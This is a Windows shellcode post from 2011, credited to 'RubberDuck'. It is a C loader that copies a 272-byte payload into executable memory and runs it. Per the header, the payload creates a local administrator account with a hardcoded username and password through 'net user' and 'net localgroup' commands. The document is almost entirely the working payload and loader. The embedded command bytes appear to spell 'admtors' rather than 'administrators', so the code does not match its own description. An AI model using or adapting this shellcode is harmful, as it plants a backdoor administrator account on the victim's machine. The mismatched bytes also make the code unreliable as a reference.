Allwin WinExec add new local administrator + ExitProcess Shellcode

/*
Title: Allwin WinExec add new local administrator + ExitProcess Shellcode - 272 bytes
Date: 2011-05-25
Author: RubberDuck
Web: http://bflow.security-portal.cz
Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/(64), Win 2k8 (32)
 -- command: cmd.exe /c net user RubberDuck mudbath /add && net localgroup administrators RubberDuck /add
 -- Username: RubberDuck
 -- Password: mudbath
*/

#include <stdio.h>
#include <windows.h>

int main(){
    unsigned char shellcode[]=
        "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
        "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
        "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
        "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
        "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
        "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
        "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
        "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
        "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
        "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
        "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
        "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
        "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
        "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
        "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
        "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
        "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
        "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
        "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
        "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
        "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
        "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
        "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
        "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
        "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
        "\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
        "\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
        "\x64\x00";
    LPVOID lpAlloc;
    void (*pfunc)();

    printf("size = %i bytes\n", lstrlen(shellcode) + 1);
    printf("-------------------------\nUsername: RubberDuck\nPassword: mudbath\n");
    system("PAUSE");

    lpAlloc = VirtualAlloc(0, 4096,
                           MEM_COMMIT,
                           PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL){
        printf("Memory not allocated!\n");
        return 0;
    }

    memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);

    pfunc = lpAlloc;

    pfunc();

    return 0;
}